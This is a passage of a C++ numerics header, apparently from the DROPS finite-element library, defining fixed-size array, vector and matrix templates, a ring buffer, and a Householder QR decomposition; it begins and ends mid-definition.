Assert(row<Rows_ && col<Cols_, DROPSErrCL("DMatrixCL::operator(): Invalide index"), DebugNumericC);
return Array_[col*Rows_+row];
}
T operator() (size_t row, size_t col) const {
Assert(row<Rows_ && col<Cols_, DROPSErrCL("DMatrixCL::operator() const: Invalide index"), DebugNumericC);
return Array_[col*Rows_+row];
}
T* GetCol (size_t col) {
Assert(col<Cols_, DROPSErrCL("DMatrixCL::GetCol: Invalide index"), DebugNumericC);
return Array_+col*Rows_;
}
};
template <class T, Uint _Size>
class SArrayCL;
template <class T, Uint _Size>
class SBufferCL;
template <Uint _Size>
class SVectorCL;
template <Uint _Rows, Uint _Cols>
class SMatrixCL;
template <class T, Uint _Size>
inline bool
operator==(const SArrayCL<T, _Size>&, const SArrayCL<T, _Size>&);
template <class T, Uint _Size>
inline bool
operator<(const SArrayCL<T, _Size>&, const SArrayCL<T, _Size>&);
template <class T, Uint _Size>
inline bool
operator==(const SBufferCL<T, _Size>&, const SBufferCL<T, _Size>&);
/// Stores 2D coordinates
typedef SVectorCL<2> Point2DCL;
/// Stores 3D coordinates
typedef SVectorCL<3> Point3DCL;
/// Stores barycentric coordinates
typedef SVectorCL<4> BaryCoordCL;
enum InitStateT { Uninitialized, Initialized };
//**************************************************************************
// Class: SArrayCL *
// Purpose: an array that remembers its size *
// Remarks: All functions are inline, should be as fast as a "bare" array *
//**************************************************************************
template <class T, Uint _Size>
class SArrayCL
{
private:
T Array[_Size];
public:
typedef T* iterator;
typedef const T* const_iterator;
typedef T& reference;
typedef const T& const_reference;
typedef T value_type;
// SArrayCL() {}
explicit SArrayCL(T val= T()) { std::fill_n(Array+0, _Size, val); }
/*uninitialized memory; mainly for faster SVectorCL-math*/
explicit SArrayCL(InitStateT) {}
template<class In> explicit SArrayCL(In start) { std::copy(start, start+_Size, Array+0); }
template<class In> SArrayCL(In start, In end) { std::copy(start, end, Array+0); }
// Default copy-ctor, assignment operator, dtor
iterator begin () { return static_cast<T*>(Array); }
const_iterator begin () const { return static_cast<const T*>(Array); }
iterator end () { return Array+_Size; }
const_iterator end () const { return Array+_Size; }
reference operator[](Uint i) { Assert(i<_Size, DROPSErrCL("SArrayCL::operator[]: wrong index"), DebugContainerC);
return Array[i]; }
value_type operator[](Uint i) const { Assert(i<_Size, DROPSErrCL("SArrayCL::operator[]: wrong index"), DebugContainerC);
return Array[i]; }
Uint size () const { return _Size; }
friend bool operator==<>(const SArrayCL&, const SArrayCL&); // Component-wise equality
friend bool operator< <>(const SArrayCL&, const SArrayCL&); // lexicographic ordering
};
template <class T, Uint _Size>
inline bool
operator==(const SArrayCL<T, _Size>& a0, const SArrayCL<T, _Size>& a1)
{
for (Uint i=0; i<_Size; ++i)
if (a0[i] != a1[i]) return false;
return true;
}
template <class T, Uint _Size>
inline bool
operator<(const SArrayCL<T, _Size>& a0, const SArrayCL<T, _Size>& a1)
{
for (Uint i=0; i<_Size; ++i)
if (a0[i] < a1[i]) return true;
else if ( a0[i] > a1[i]) return false;
return false;
}
template <class T, Uint _Size>
inline const T*
Addr(const SArrayCL<T, _Size>& a)
{
return a.begin();
}
template <class T, Uint _Size>
inline T*
Addr(SArrayCL<T, _Size>& a)
{
return a.begin();
}
//**************************************************************************
// Class: SBufferCL *
// Purpose: A buffer or ring-buffer of fixed size with wrap-around indices*
//**************************************************************************
template <class T, Uint _Size>
class SBufferCL
{
private:
T Array[_Size];
int Front;
public:
typedef T& reference;
typedef const T& const_reference;
typedef T value_type;
// SBufferCL() {}
explicit SBufferCL(T val= T()) { std::fill_n(Array+0, _Size, val); Front= 0; }
template<class In> explicit SBufferCL(In start) { std::copy(start, start+_Size, Array+0); Front= 0; }
template<class In> SBufferCL(In start, In end) { std::copy(start, end, Array+0); Front= 0; }
SBufferCL(const SBufferCL& b) {
std::copy( b.Array+0, b.Array+_Size, Array+0);
Front= b.Front; }
SBufferCL& operator=(const SBufferCL& b) {
if (&b!=this) {
std::copy( b.Array+0, b.Array+_Size, Array+0);
Front= b.Front; }
return *this; }
// Default dtor
reference operator[](int i) {
if (i<0) i+= _Size;
else if (i >= static_cast<int>( _Size)) i-=_Size;
Assert( (i>=0 && i<static_cast<int>( _Size)), DROPSErrCL("SBufferCL::operator[]: wrong index"), DebugContainerC);
return Array[(i+Front < static_cast<int>( _Size)) ? i+Front : i+Front-_Size]; }
value_type operator[](int i) const {
if (i<0) i+= _Size;
else if (i >= static_cast<int>( _Size)) i-=_Size;
Assert( (i>=0 && i<_Size), DROPSErrCL("SBufferCL::operator[]: wrong index"), DebugContainerC);
return Array[(i+Front < static_cast<int>( _Size)) ? i+Front : i+Front-_Size]; }
Uint size() const { return _Size; }
// first entry is overwritten.
void push_back(const T& t) {
Array[Front]= t;
if (++Front == static_cast<int>( _Size)) Front-= _Size; }
// for positive i, front element moves to the end.
void rotate (int i= 1) {
Assert(i<static_cast<int>( _Size), DROPSErrCL("SBufferCL::rotate: wrong index"), DebugContainerC);
Front+= i;
if (Front >= static_cast<int>( _Size)) Front-= _Size;
else if (Front < 0) Front+= _Size; }
friend bool operator==<>(const SBufferCL&, const SBufferCL&);
};
template <class T, Uint _Size>
inline bool
operator==(const SBufferCL<T, _Size>& a0, const SBufferCL<T, _Size>& a1)
{
if (a0.Front != a1.Front) return false;
for (Uint i=0; i<_Size; ++i)
if (a0.Array[i] != a1.Array[i]) return false;
return true;
}
//**************************************************************************
// Class: SVectorCL *
// Purpose: primitive vector class with templates for short vectors *
// Remarks: Many optimizations are possible. *
//**************************************************************************
template <Uint _Size>
class SVectorCL : public SArrayCL<double,_Size>
{
public:
typedef SArrayCL<double,_Size> base_type;
SVectorCL() {}
explicit SVectorCL(InitStateT i) : base_type( i) {}
explicit SVectorCL(double val) : base_type( val) {}
template<class In> explicit SVectorCL(In start) : base_type( start) {}
template<class In> SVectorCL(In start, In end) : base_type( start,end) {}
SVectorCL& operator+=(const SVectorCL&);
SVectorCL& operator-=(const SVectorCL&);
SVectorCL& operator*=(double);
SVectorCL& operator/=(double);
// komponentenweise Operatoren
SVectorCL& operator*=(const SVectorCL&);
SVectorCL& operator/=(const SVectorCL&);
double norm_sq() const;
double norm() const { return std::sqrt(norm_sq()); }
};
template <Uint _Size>
SVectorCL<_Size>&
SVectorCL<_Size>::operator+=(const SVectorCL& v)
{
for (Uint i=0; i!=_Size; ++i) (*this)[i]+= v[i];
return *this;
}
template <Uint _Size>
SVectorCL<_Size>&
SVectorCL<_Size>::operator-=(const SVectorCL<_Size>& v)
{
for (Uint i=0; i!=_Size; ++i) (*this)[i]-= v[i];
return *this;
}
template <Uint _Size>
SVectorCL<_Size>&
SVectorCL<_Size>::operator*=(const SVectorCL<_Size>& v)
{
for (Uint i=0; i!=_Size; ++i) (*this)[i]*= v[i];
return *this;
}
template <Uint _Size>
SVectorCL<_Size>&
SVectorCL<_Size>::operator/=(const SVectorCL<_Size>& v)
{
for (Uint i=0; i!=_Size; ++i) (*this)[i]/= v[i];
return *this;
}
template <Uint _Size>
SVectorCL<_Size>&
SVectorCL<_Size>::operator*=(double s)
{
for (Uint i=0; i!=_Size; ++i) (*this)[i]*= s;
return *this;
}
template <Uint _Size>
SVectorCL<_Size>&
SVectorCL<_Size>::operator/=(double s)
{
for (Uint i=0; i!=_Size; ++i) (*this)[i]/= s;
return *this;
}
template <Uint _Size>
double SVectorCL<_Size>::norm_sq() const
{
double x = 0.0;
for (Uint i=0; i<_Size; ++i) x += (*this)[i]*(*this)[i];
return x;
}
template <Uint _Size>
SVectorCL<_Size> BaryCenter(const SVectorCL<_Size>& v1, const SVectorCL<_Size>& v2)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i] = .5 * (v1[i] + v2[i]);
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> ConvexComb (double a,
const SVectorCL<_Size>& v1,
const SVectorCL<_Size>& v2)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i] = (1.0-a)*v1[i] + a*v2[i];
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> operator+(const SVectorCL<_Size>& v1,
const SVectorCL<_Size>& v2)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= v1[i] + v2[i];
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> operator-(const SVectorCL<_Size>& v1,
const SVectorCL<_Size>& v2)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= v1[i] - v2[i];
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> operator-(const SVectorCL<_Size>& v1)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= -v1[i];
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> operator*(double d, const SVectorCL<_Size>& v)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= d * v[i];
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> operator*(const SVectorCL<_Size>& v, double d)
{
return d*v;
}
template <Uint _Size>
double inner_prod(const SVectorCL<_Size>& v1, const SVectorCL<_Size>& v2)
{
double ret= 0.0;
for (Uint i= 0; i <_Size; ++i) ret+= v1[i]*v2[i];
return ret;
}
inline double
inner_prod(const SVectorCL<3u>& v1, const SVectorCL<3u>& v2)
{
return v1[0]*v2[0] + v1[1]*v2[1] + v1[2]*v2[2];
}
template <Uint _Size>
SVectorCL<_Size> operator/(const SVectorCL<_Size>& v, double d)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= v[i]/d;
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> operator*(const SVectorCL<_Size>& v1,
const SVectorCL<_Size>& v2)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= v1[i] * v2[i];
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> operator/(const SVectorCL<_Size>& v1,
const SVectorCL<_Size>& v2)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= v1[i] / v2[i];
return tempv;
}
template <Uint _Size>
bool operator<(const SVectorCL<_Size>& v1,
const SVectorCL<_Size>& v2)
{
for (Uint i=0; i<_Size; ++i) if(!( v1[i] < v2[i]) ) return false;
return true;
}
template <Uint _Size>
SVectorCL<_Size> sqrt(const SVectorCL<_Size>& v)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= std::sqrt(v[i]);
return tempv;
}
template <Uint _Size>
SVectorCL<_Size> fabs(const SVectorCL<_Size>& v)
{
SVectorCL<_Size> tempv( Uninitialized);
for (Uint i=0; i<_Size; ++i) tempv[i]= std::fabs(v[i]);
return tempv;
}
template <Uint _Size>
std::ostream& operator<<(std::ostream& os, const SVectorCL<_Size>& v)
{
// os << v.size() << " ";
for (Uint i=0; i<v.size(); ++i)
os << v[i] << ' ';
return os;
}
inline void
cross_product(Point3DCL& res, const Point3DCL& v0, const Point3DCL& v1)
// res= v0 x v1
{
res[0]= v0[1]*v1[2] - v0[2]*v1[1];
res[1]= v0[2]*v1[0] - v0[0]*v1[2];
res[2]= v0[0]*v1[1] - v0[1]*v1[0];
}
// std_basis<n>(0)==Null, std_basis<n>(i)[j]==Delta_i-1_j
template <Uint _Size>
inline SVectorCL<_Size> std_basis(Uint i)
{
SVectorCL<_Size> ret(0.);
if (i>0) ret[i-1]= 1.;
return ret;
}
inline BaryCoordCL
MakeBaryCoord(double a, double b, double c, double d)
{
BaryCoordCL ret( Uninitialized);
ret[0]= a; ret[1]= b; ret[2]= c; ret[3]= d;
return ret;
}
inline Point3DCL
MakePoint3D(double a, double b, double c)
{
Point3DCL ret( Uninitialized);
ret[0]= a; ret[1]= b; ret[2]= c;
return ret;
}
inline Point2DCL
MakePoint2D(double a, double b)
{
Point2DCL ret( Uninitialized);
ret[0]= a; ret[1]= b;
return ret;
}
template<class T>
SArrayCL<T, 2>
MakeSArray(T a, T b)
{
SArrayCL<T, 2> ret( Uninitialized);
ret[0]= a; ret[1]= b;
return ret;
}
template<class T>
SArrayCL<T, 3>
MakeSArray(T a, T b, T c)
{
SArrayCL<T, 3> ret( Uninitialized);
ret[0]= a; ret[1]= b; ret[2]= c;
return ret;
}
template<class T>
SArrayCL<T, 4>
MakeSArray(T a, T b, T c, T d)
{
SArrayCL<T, 4> ret( Uninitialized);
ret[0]= a; ret[1]= b; ret[2]= c; ret[3]= d;
return ret;
}
template <class T, Uint _Size>
std::ostream& operator<<(std::ostream& os, const SArrayCL<T,_Size>& a)
{
// os << v.size() << " ";
for (Uint i=0; i<a.size(); ++i)
os << a[i] << ' ';
return os;
}
template <Uint _Rows, Uint _Cols>
class SMatrixCL : public SVectorCL<_Rows*_Cols>
{
public:
typedef SVectorCL<_Rows*_Cols> _vec_base;
SMatrixCL() {}
explicit SMatrixCL(InitStateT i) : _vec_base( i) {}
explicit SMatrixCL(double val) : _vec_base( val) {}
template<class In> explicit SMatrixCL(In start) : _vec_base( start) {}
template<class In> SMatrixCL(In start, In end) : _vec_base( start,end) {}
// Schreib- & Lesezugriff
double& operator() (int row, int col) { return (*this)[row*_Cols+col]; }// Matrix(i,j)
double operator() (int row, int col) const { return (*this)[row*_Cols+col]; }
SVectorCL<_Rows> col( int) const;
void col( int, const SVectorCL<_Rows>&);
// Zuweisung & Co.
SMatrixCL& operator+=(const SMatrixCL&); // Matrix=Matrix+Matrix'
SMatrixCL& operator-=(const SMatrixCL&); // Matrix=Matrix-Matrix'
SMatrixCL& operator*=(double s); // Matrix = c * Matrix
SMatrixCL& operator/=(double s); // Matrix = Matrix'/c
// Dimensionen feststellen
Uint num_rows() const { return _Rows; } // Zeilenzahl
Uint num_cols() const { return _Cols; } // Spaltenzahl
};
template<Uint _Rows, Uint _Cols>
SVectorCL<_Rows>
SMatrixCL<_Rows, _Cols>::col (int c) const
{
SVectorCL<_Rows> ret( Uninitialized);
for (Uint i= 0; i != _Rows; ++i, c+= _Cols)
ret[i]= (*this)[c];
return ret;
}
template<Uint _Rows, Uint _Cols>
void
SMatrixCL<_Rows,_Cols>::col (int c, const SVectorCL<_Rows>& v)
{
for (Uint i= 0; i != _Rows; ++i)
(*this)( i, c)= v[i];
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>&
SMatrixCL<_Rows, _Cols>::operator+=(const SMatrixCL<_Rows, _Cols>& m)
{
*static_cast<_vec_base*>(this)+= *static_cast<const _vec_base*>(&m);
return *this;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>&
SMatrixCL<_Rows, _Cols>::operator-=(const SMatrixCL<_Rows, _Cols>& m)
{
*static_cast<_vec_base*>(this)-= *static_cast<const _vec_base*>(&m);
return *this;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>&
SMatrixCL<_Rows, _Cols>::operator*=(double d)
{
*static_cast<_vec_base*>(this)*= d;
return *this;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>&
SMatrixCL<_Rows, _Cols>::operator/=(double d)
{
*static_cast<_vec_base*>(this)/= d;
return *this;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>
operator+(const SMatrixCL<_Rows, _Cols>& m1, const SMatrixCL<_Rows, _Cols>& m2)
{
SMatrixCL<_Rows, _Cols> ret( Uninitialized);
*static_cast<typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&ret)
= *static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m1)
+*static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m2);
return ret;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>
operator-(const SMatrixCL<_Rows, _Cols>& m1, const SMatrixCL<_Rows, _Cols>& m2)
{
SMatrixCL<_Rows, _Cols> ret( Uninitialized);
*static_cast<typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&ret)
= *static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m1)
-*static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m2);
return ret;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>
operator-(const SMatrixCL<_Rows, _Cols>& m)
{
SMatrixCL<_Rows, _Cols> ret( Uninitialized);
*static_cast<typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&ret)
= -*static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m);
return ret;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>
operator*(double d, const SMatrixCL<_Rows, _Cols>& m)
{
SMatrixCL<_Rows, _Cols> ret( Uninitialized);
*static_cast<typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&ret)
= d**static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m);
return ret;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>
operator*(const SMatrixCL<_Rows, _Cols>& m, double d)
{
SMatrixCL<_Rows, _Cols> ret( Uninitialized);
*static_cast<typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&ret)
= *static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m)*d;
return ret;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Rows, _Cols>
operator/(const SMatrixCL<_Rows, _Cols>& m, double d)
{
SMatrixCL<_Rows, _Cols> ret( Uninitialized);
*static_cast<typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&ret)
= *static_cast<const typename SMatrixCL<_Rows, _Cols>::_vec_base*>(&m)/d;
return ret;
}
template<Uint _RowsL, Uint _ColsR, Uint _Dim>
SMatrixCL<_RowsL, _ColsR>
operator*(const SMatrixCL<_RowsL, _Dim>& m1, const SMatrixCL<_Dim, _ColsR>& m2)
{
SMatrixCL<_RowsL, _ColsR> ret(0.0);
for (Uint row=0; row!=_RowsL; ++row)
for (Uint col=0; col!=_ColsR; ++col)
for (Uint i=0; i!=_Dim; ++i)
ret(row, col)+= m1(row, i)*m2(i, col);
return ret;
}
template<Uint _Rows, Uint _Cols>
SMatrixCL<_Cols, _Cols>
GramMatrix(const SMatrixCL<_Rows, _Cols>& m)
/// Computes m^T*m
{
SMatrixCL<_Cols, _Cols> ret( 0.0);
for (Uint row= 0; row != _Cols; ++row) {
for (Uint col= 0; col < row; ++col) {
for (Uint i= 0; i != _Rows; ++i)
ret( row, col)+= m( i, row)*m( i, col);
ret( col, row)= ret( row, col);
}
for (Uint i= 0; i != _Rows; ++i)
ret( row, row)+= std::pow( m( i, row), 2);
}
return ret;
}
template<Uint _Rows, Uint _Cols>
SVectorCL<_Cols>
transp_mul(const SMatrixCL<_Rows, _Cols>& m, const SVectorCL<_Rows>& v)
{
SVectorCL<_Cols> ret(0.0);
for (Uint col=0; col!=_Cols; ++col)
for (Uint i=0; i!=_Rows; ++i)
ret[col]+= m( i, col)*v[i];
return ret;
}
template<Uint _Rows, Uint _Cols>
SVectorCL<_Rows>
operator*(const SMatrixCL<_Rows, _Cols>& m, const SVectorCL<_Cols>& v)
{
SVectorCL<_Rows> ret(0.0);
for (Uint row=0; row!=_Rows; ++row)
for (Uint i=0; i!=_Cols; ++i)
ret[row]+= m(row, i)*v[i];
return ret;
}
inline SVectorCL<3>
operator*(const SMatrixCL<3, 3>& m, const SVectorCL<3>& v)
{
SVectorCL<3> ret( Uninitialized);
const double* const a= m.begin();
ret[0]= a[0]*v[0] + a[1]*v[1] + a[2]*v[2];
ret[1]= a[3]*v[0] + a[4]*v[1] + a[5]*v[2];
ret[2]= a[6]*v[0] + a[7]*v[1] + a[8]*v[2];
return ret;
}
template <Uint _Rows, Uint _Cols>
std::ostream& operator << (std::ostream& os, const SMatrixCL<_Rows, _Cols>& m)
{
const Uint M = m.num_rows();
const Uint N = m.num_cols();
os << M << ' ' << N << '\n' ;
for (Uint row=0; row<M; ++row)
{
os << " ";
for (Uint col=0; col<N; ++col)
os << m(row, col) << ' ';
os << '\n';
}
return os;
}
template <Uint _Rows>
inline SMatrixCL<_Rows,_Rows>
outer_product (const SVectorCL<_Rows>& a, const SVectorCL<_Rows>& b)
{
SMatrixCL<_Rows,_Rows> ret( Uninitialized);
for (Uint i= 0; i < _Rows; ++i)
for (Uint j= 0; j < _Rows; ++j)
ret(i, j)= a[i]*b[j];
return ret;
}
template <Uint _Rows>
inline double
frobenius_norm_sq (const SMatrixCL<_Rows, _Rows>& a)
{
double ret = 0;
for (Uint i= 0; i < _Rows*_Rows; ++i)
ret += a[i]*a[i];
return ret;
}
template <Uint _Rows>
inline double
trace (const SMatrixCL<_Rows, _Rows>& a)
{
double ret= 0.;
for (Uint i= 0; i < _Rows; ++i)
ret+= a( i, i);
return ret;
}
template <Uint _Rows>
inline SMatrixCL<_Rows,_Rows>&
assign_transpose (SMatrixCL<_Rows, _Rows>& out, const SMatrixCL<_Rows,_Rows>& in)
{
for (Uint i= 0; i < _Rows; ++i) {
for (Uint j= 0; j < i; ++j) {
out( i, j)= in( j, i);
out( j, i)= in( i, j);
}
out( i, i)= in( i, i);
}
return out;
}
/// \brief \f$full_local+= (scalar_local^T) \mathop{kroneckerproduct} Id_{3\times 3}\f$
///
/// This is the operation that distributes a scalar-valued operator over the block-diagonal of a vector-valued operator.
inline void
add_transpose_kronecker_id (SMatrixCL<3,3> full_local[10][10], const double scalar_local[10][10])
{
for(int i= 0; i < 10; ++i)
for(int j= 0; j < 10; ++j)
for (int k= 0; k < 3; ++k)
full_local[i][j]( k, k)+= scalar_local[j][i];
}
///\brief A small diagonal matrix. It is needed as distinct type for SparseMatBuilderCL for block diagonal sparse matrices.
template <Uint _Rows>
class SDiagMatrixCL : public SVectorCL<_Rows>
{
public:
typedef SVectorCL<_Rows> _vec_base;
SDiagMatrixCL() {}
explicit SDiagMatrixCL(InitStateT i) : _vec_base( i) {}
explicit SDiagMatrixCL(double val) : _vec_base( val) {}
template<class In> explicit SDiagMatrixCL(In start) : _vec_base( start) {}
template<class In> SDiagMatrixCL(In start, In end) : _vec_base( start,end) {}
// Schreib- & Lesezugriff
double& operator() (int row) { return (*this)[row]; }// Matrix(i,i)
double operator() (int row) const { return (*this)[row]; }
// Zuweisung & Co.
SDiagMatrixCL& operator+=(const SDiagMatrixCL&); // Matrix=Matrix+Matrix'
SDiagMatrixCL& operator-=(const SDiagMatrixCL&); // Matrix=Matrix-Matrix'
SDiagMatrixCL& operator*=(double s); // Matrix = c * Matrix
SDiagMatrixCL& operator/=(double s); // Matrix = Matrix'/c
// Dimensionen feststellen
Uint num_rows() const { return _Rows; } // Zeilenzahl
Uint num_cols() const { return _Rows; } // Spaltenzahl
};
template<Uint _Rows>
SDiagMatrixCL<_Rows>&
SDiagMatrixCL<_Rows>::operator+=(const SDiagMatrixCL<_Rows>& m)
{
*static_cast<_vec_base*>(this)+= *static_cast<const _vec_base*>(&m);
return *this;
}
template<Uint _Rows>
SDiagMatrixCL<_Rows>&
SDiagMatrixCL<_Rows>::operator-=(const SDiagMatrixCL<_Rows>& m)
{
*static_cast<_vec_base*>(this)-= *static_cast<const _vec_base*>(&m);
return *this;
}
template<Uint _Rows>
SDiagMatrixCL<_Rows>&
SDiagMatrixCL<_Rows>::operator*=(double d)
{
*static_cast<_vec_base*>(this)*= d;
return *this;
}
template<Uint _Rows>
SDiagMatrixCL<_Rows>&
SDiagMatrixCL<_Rows>::operator/=(double d)
{
*static_cast<_vec_base*>(this)/= d;
return *this;
}
/// \brief A QR-factored, rectangular matrix, A=QR.
///
/// This allows for fast application of A^{-1} and A.
/// A can have more rows than columns. In this case, the least-squares-solution is computed.
template <Uint Rows_, Uint Cols_= Rows_>
class QRDecompCL
{
private:
SMatrixCL<Rows_,Cols_> a_;
double d_[Cols_]; ///< The diagonal of R
double beta_[Cols_]; ///< The reflections are R_j= I + beta_j*a_[j:Rows_-1][j]
public:
QRDecompCL () : a_( Uninitialized) {}
template <class MatT>
QRDecompCL (MatT m)
: a_( m) { prepare_solve (); }
SMatrixCL<Rows_,Cols_>& GetMatrix () { return a_; }
const SMatrixCL<Rows_,Cols_>& GetMatrix () const { return a_; }
void prepare_solve (); ///< Computes the factorization.
///@{ Call only after prepare_solve; solves are inplace. For least-squares, the first Cols_ entries are the least squares solution, the remaining components of b are the residual-vector.
void Solve (SVectorCL<Rows_>& b) const;
void Solve (size_t n, SVectorCL<Rows_>* b) const;
template <template<class> class SVecCont>
void Solve (SVecCont<SVectorCL<Rows_> >& b) const;
template <Uint Size>
void Solve (SArrayCL<SVectorCL<Rows_>, Size>& b) const;
double Determinant_R () const; ///< Computes the determinant of R (stable). For Rows_ > Cols_, the determinant of the upper Cols_ x Cols_ block of R is returned.
///@}
///@{ Serialize and Deserialize a QR decomposition
void Serialize(double*) const;
void Deserialize(const double*);
///@}
};
template <Uint Rows_, Uint Cols_>
double
QRDecompCL<Rows_, Cols_>::Determinant_R () const
{
double tmp= 1.0;
for(Uint i= 0; i < Cols_; ++i)
tmp *= d_[i];
return tmp;
}
template <Uint Rows_, Uint Cols_>
void
QRDecompCL<Rows_, Cols_>::prepare_solve ()
{
// inplace Householder
double sigma, sp;
for (Uint j= 0; j < Cols_; ++j) {
sigma = 0.;
for(Uint i= j; i < Rows_; ++i)
sigma+= std::pow( a_(i, j), 2);
if(sigma == 0.)
throw DROPSErrCL( "QRDecompCL::prepare_solve: rank-deficient matrix\n");
d_[j]= (a_(j, j) < 0 ? 1. : -1.) * std::sqrt( sigma);
beta_[j]= 1./(d_[j]*a_(j, j) - sigma);
a_(j, j)-= d_[j];
for(Uint k= j + 1; k < Cols_; ++k) { // Apply reflection in column j
sp= 0.;
for(Uint i= j; i < Rows_; ++i)
sp+= a_(i, j) * a_(i, k);
sp*= beta_[j];
for(Uint i= j; i < Rows_; ++i)
a_(i, k)+= a_(i, j)*sp;
}
}
}
template <Uint Rows_, Uint Cols_>
void
QRDecompCL<Rows_, Cols_>::Solve (size_t n, SVectorCL<Rows_>* b) const
{
for (Uint i= 0; i < n; ++i)
Solve( b[i]);
}
template <Uint Rows_, Uint Cols_>
void
QRDecompCL<Rows_, Cols_>::Solve (SVectorCL<Rows_>& b) const
{
double sp;
for(Uint j= 0; j < Cols_; ++j) { // Apply reflection in column j
sp= 0.;
for(Uint i= j; i < Rows_; ++i)
sp+= a_(i, j) * b[i];
sp*= beta_[j];
for(Uint i= j; i < Rows_; ++i)
b[i]+= a_(i, j)*sp;
}
for (Uint i= Cols_ - 1; i < Cols_; --i) { // backsolve
for (Uint j= i + 1; j < Cols_; ++j)
b[i]-= a_(i, j)*b[j];
b[i]/= d_[i];
}
}
template <Uint Rows_, Uint Cols_>
template <template<class> class SVecCont>
void
QRDecompCL<Rows_, Cols_>::Solve (SVecCont<SVectorCL<Rows_> >& b) const
{
for (Uint i= 0; i < b.size(); ++i)
Solve( b[i]);
}
template <Uint Rows_, Uint Cols_>
template <Uint Size>
void
QRDecompCL<Rows_, Cols_>::Solve (SArrayCL<SVectorCL<Rows_>, Size>& b) const
{
for (Uint i= 0; i < Size; ++i)
Solve( b[i]);
}
/** Put the values of a_, d_ and beta_ in buffer. Note that buffer must be of size
(Rows_+2)*Cols_
*/
template <Uint Rows_, Uint Cols_>
void QRDecompCL<Rows_, Cols_>::Serialize(double* buffer) const
{
std::copy( a_.begin(), a_.end(), buffer);
std::copy( d_, d_+Cols_, buffer+a_.size());
std::copy( beta_, beta_+Cols_, buffer+a_.size()+Cols_);
}
template <Uint Rows_, Uint Cols_>
void QRDecompCL<Rows_, Cols_>::Deserialize( const double* buffer)
{
std::copy( buffer, buffer+a_.size(), a_.begin());
std::copy( buffer+a_.size(), buffer+a_.size()+Cols_, d_);
std::copy(buffer+a_.size()+Cols_, buffer+a_.size()+Cols_+Cols_, beta_);
}
//**************************************************************************
// Class: GlobalListCL *
// Purpose: A list that is subdivided in levels. For modifications, it can *
// efficiently be split into std::lists per level and then merged *
// after modifications. *
// Remarks: Negative level-indices count backwards from end(). *
//**************************************************************************
template <class T>
class GlobalListCL
{
public:
typedef std::list<T> Cont;
typedef std::list<T> LevelCont;
typedef typename Cont::iterator iterator;
typedef typename Cont::const_iterator const_iterator;
typedef typename LevelCont::iterator LevelIterator;
typedef typename LevelCont::const_iterator const_LevelIterator;
private:
Cont Data_;
std::vector<iterator> LevelStarts_;
std::vector<const_iterator> const_LevelStarts_;
std::vector<LevelCont*> LevelViews_;
bool modifiable_;
int
StdLevel (int lvl) const { return lvl >= 0 ? lvl : lvl + GetNumLevel(); }
public:
GlobalListCL (bool modifiable= true) : modifiable_( modifiable) {}
// standard dtor
Uint GetNumLevel () const {
return modifiable_ ? LevelViews_.size()
: (LevelStarts_.size() > 0 ? LevelStarts_.size()-1 : 0);
}
bool IsEmpty () const
{ return modifiable_ ? LevelViews_.empty() : LevelStarts_.empty(); }
bool IsLevelEmpty (Uint Level) const {
return modifiable_ ? LevelViews_[Level]->empty()
: LevelStarts_[Level] == LevelStarts_[1+Level];
}
// Only useful, if modifiable_ == false, otherwise 0.
Uint size () const { return Data_.size(); }
// If modifiable_==true, Data_ is empty, thus these accessors are useless.
iterator begin () { return Data_.begin(); }
iterator end () { return Data_.end(); }
const_iterator begin () const { return Data_.begin(); }
const_iterator end () const { return Data_.end(); }
iterator level_begin (int lvl)
{ return !modifiable_ ? LevelStarts_[StdLevel( lvl)] : LevelViews_[StdLevel( lvl)]->begin(); }
iterator level_end (int lvl)
{ return !modifiable_ ? LevelStarts_[StdLevel( lvl) + 1] : LevelViews_[StdLevel( lvl)]->end(); }
const_iterator level_begin (int lvl) const
